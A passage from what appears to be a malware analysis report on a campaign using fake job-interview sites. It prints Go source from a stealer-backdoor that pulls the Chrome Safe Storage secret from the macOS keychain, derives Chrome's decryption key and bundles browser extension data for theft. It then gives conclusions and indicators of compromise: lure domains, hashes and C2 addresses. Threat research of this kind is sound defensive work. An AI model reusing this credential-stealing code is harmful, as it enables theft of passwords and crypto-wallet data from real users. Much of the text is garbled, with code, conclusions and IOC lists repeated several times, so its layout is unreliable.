`Chrome Safe Storage`, `-wa`, `Chrome`, ).Output() if err != nil { return nil, err } temp := []byte(strings.TrimSpace(string(out))) chromeSecret := temp[:len(temp)-1] if chromeSecret == nil { return nil, errors.New("Can not get keychain") } var chromeSalt = []byte("saltysalt") // @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157 key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New) return key, nil } var ( SALT = "saltysalt" ITERATIONS = 1003 KEYLENGTH = 16 ) func getDerivedKey() ([]byte, error) { out, err := exec.Command( `/usr/bin/security`, `find-generic-password`, `-s`, `Chrome Safe Storage`, `-wa`, `Chrome`, ).Output() if err != nil { return nil, err } temp := []byte(strings.TrimSpace(string(out))) chromeSecret := temp[:len(temp)-1] if chromeSecret == nil { return nil, errors.New("Can not get keychain") } var chromeSalt = []byte("saltysalt") // @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157 key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New) return key, nil } Used to retrieve password related to Google Chrome from local storage. Gathers Keychain data with further storage into gatherchain.tar.gz. Used to retrieve password related to Google Chrome from local storage. Gathers Keychain data with further storage into gatherchain.tar.gz . gatherchain.tar.gz chrome_cookie_other.go The same but for Linux. chrome_cookie_other.go chrome_cookie_other.go The same but for Linux. The same but for Linux. chrome_cookie_win.go The same but for Windows. chrome_cookie_win.go chrome_cookie_win.go The same but for Windows. The same but for Windows. chrome_gather.go func AutoModeChromeGather() (string, [][]byte) { print("=========== AutoModeChromeGather ===========", runtime.GOOS, "\n") var ( buf bytes.Buffer userdata_dir string path_list []string ) // gather userdata_dir = getUserdataDir() // file system search _ = filepath.Walk(userdata_dir, func(path string, info os.FileInfo, err error) error { if info.Name() == extension_dir && strings.Contains(path, "Local Extension Settings") { path_list = append(path_list, path) } return nil }) _ = util.Compress(&buf, path_list, true) print("=========== End ===========\n") // return data := make([][]byte, 3) data[0] = []byte(config.LOG_SUCCESS) data[1] = []byte("gather.tar.gz") data[2] = buf.Bytes() msg_type := config.MSG_FILE return msg_type, data Collects local extension settings (if they exist on the system) and pack it into gather.tag.gz chrome_gather.go chrome_gather.go func AutoModeChromeGather() (string, [][]byte) { print("=========== AutoModeChromeGather ===========", runtime.GOOS, "\n") var ( buf bytes.Buffer userdata_dir string path_list []string ) // gather userdata_dir = getUserdataDir() // file system search _ = filepath.Walk(userdata_dir, func(path string, info os.FileInfo, err error) error { if info.Name() == extension_dir && strings.Contains(path, "Local Extension Settings") { path_list = append(path_list, path) } return nil }) _ = util.Compress(&buf, path_list, true) print("=========== End ===========\n") // return data := make([][]byte, 3) data[0] = []byte(config.LOG_SUCCESS) data[1] = []byte("gather.tar.gz") data[2] = buf.Bytes() msg_type := config.MSG_FILE return msg_type, data func AutoModeChromeGather() (string, [][]byte) { print("=========== AutoModeChromeGather ===========", runtime.GOOS, "\n") var ( buf bytes.Buffer userdata_dir string path_list []string ) // gather userdata_dir = getUserdataDir() // file system search _ = filepath.Walk(userdata_dir, func(path string, info os.FileInfo, err error) error { if info.Name() == extension_dir && strings.Contains(path, "Local Extension Settings") { path_list = append(path_list, path) } return nil }) _ = util.Compress(&buf, path_list, true) print("=========== End ===========\n") // return data := make([][]byte, 3) data[0] = []byte(config.LOG_SUCCESS) data[1] = []byte("gather.tar.gz") data[2] = buf.Bytes() msg_type := config.MSG_FILE return msg_type, data Collects local extension settings (if they exist on the system) and pack it into gather.tag.gz Collects local extension settings (if they exist on the system) and pack it into gather.tag.gz Conclusions To conclude our analysis, we must highlight the most important points: After successful password theft, the victim's workstation can be remotely accessed via C2 to steal even more data, including personal files that are stored on the system. It makes this malware way more dangerous than regular stealers that usually run on the system once, collecting only the files that are in their list. Backdoor code is written according to programming best practices, comments are left as is, which leaves an open question as to why the code was not compiled beforehand. Only one cryptocurrency-related extension is being targeted, probably counting on gaining remote access to manually search for other popular crypto tools and sensitive data on the system. The campaign is still ongoing, indicating that the threat actors' strategy remains effective and does not require immediate changes. However, we believe that similar campaigns may soon emerge with updated infrastructure. After successful password theft, the victim's workstation can be remotely accessed via C2 to steal even more data, including personal files that are stored on the system. It makes this malware way more dangerous than regular stealers that usually run on the system once, collecting only the files that are in their list. Backdoor code is written according to programming best practices, comments are left as is, which leaves an open question as to why the code was not compiled beforehand. Only one cryptocurrency-related extension is being targeted, probably counting on gaining remote access to manually search for other popular crypto tools and sensitive data on the system. The campaign is still ongoing, indicating that the threat actors' strategy remains effective and does not require immediate changes. However, we believe that similar campaigns may soon emerge with updated infrastructure. IOC IOC Domains app.blockchain-checkup[.]com app.hiring-interview[.]com app.quickvidintro[.]com app.skill-share[.]org app.vidintroexam[.]com app.willo-interview[.]us app.willohiringtalent[.]org app.willorecruit[.]com app.willotalent[.]pro app.willotalentes[.]com app.willotalents[.]org blockchain-assess[.]com digitpotalent[.]com digitptalent[.]com fundcandidates[.]com hiringinterview[.]org hiringtalent[.]pro interviewnest[.]org smarthiretop[.]online talentcompetency[.]com topinnomastertech[.]com web.videoscreening[.]org willoassess[.]com willoassess[.]net willoassess[.]org willoassessment[.]com willocandidate[.]com willointerview[.]com willomexcvip[.]us winterviews[.]net winyourrole[.]com wtalents[.]in wtalents[.]us wholecryptoloom[.]com app.blockchain-checkup[.]com app.hiring-interview[.]com app.quickvidintro[.]com app.skill-share[.]org app.vidintroexam[.]com app.willo-interview[.]us app.willohiringtalent[.]org app.willorecruit[.]com app.willotalent[.]pro app.willotalentes[.]com app.willotalents[.]org blockchain-assess[.]com digitpotalent[.]com digitptalent[.]com fundcandidates[.]com hiringinterview[.]org hiringtalent[.]pro interviewnest[.]org smarthiretop[.]online talentcompetency[.]com topinnomastertech[.]com web.videoscreening[.]org willoassess[.]com willoassess[.]net willoassess[.]org willoassessment[.]com willocandidate[.]com willointerview[.]com willomexcvip[.]us winterviews[.]net winyourrole[.]com wtalents[.]in wtalents[.]us wholecryptoloom[.]com SHA256 b72653bf747b962c67a5999afbc1d9156e1758e4ad959412ed7385abaedb21b6 60ec2dbe8cfacdff1d4eb093032b0307e52cc68feb1f67487d9f401017c3edd7 5df555b868c08eed8fea2c5f1bc82c5972f2dd69159b2fdb6a8b40ab6d7a1830 3c4becde20e618efb209f97581e9ab6bf00cbd63f51f4ebd5677e352c57e992a 3210d821e12600eac1b9887860f4e63923f624643bc3c50b3600352166e66bfe b2a4a981ba7cc2add74737957efdfcbd123922653e3bb109aa7e88d70796a340 3697852e593cec371245f6a7aaa388176e514b3e63813fdb136a0301969291ea 0a49f0a8d0b1e856b7d109229dfee79212c10881dcc4011b98fe69fc28100182 b72653bf747b962c67a5999afbc1d9156e1758e4ad959412ed7385abaedb21b6 60ec2dbe8cfacdff1d4eb093032b0307e52cc68feb1f67487d9f401017c3edd7 5df555b868c08eed8fea2c5f1bc82c5972f2dd69159b2fdb6a8b40ab6d7a1830 3c4becde20e618efb209f97581e9ab6bf00cbd63f51f4ebd5677e352c57e992a 3210d821e12600eac1b9887860f4e63923f624643bc3c50b3600352166e66bfe b2a4a981ba7cc2add74737957efdfcbd123922653e3bb109aa7e88d70796a340 3697852e593cec371245f6a7aaa388176e514b3e63813fdb136a0301969291ea 0a49f0a8d0b1e856b7d109229dfee79212c10881dcc4011b98fe69fc28100182 C2 hxxp://216.74.123.191:8080 hxxp://95.169.180.146:8080 hxxp://216.74.123.191:8080 hxxp://95.169.180.146:8080
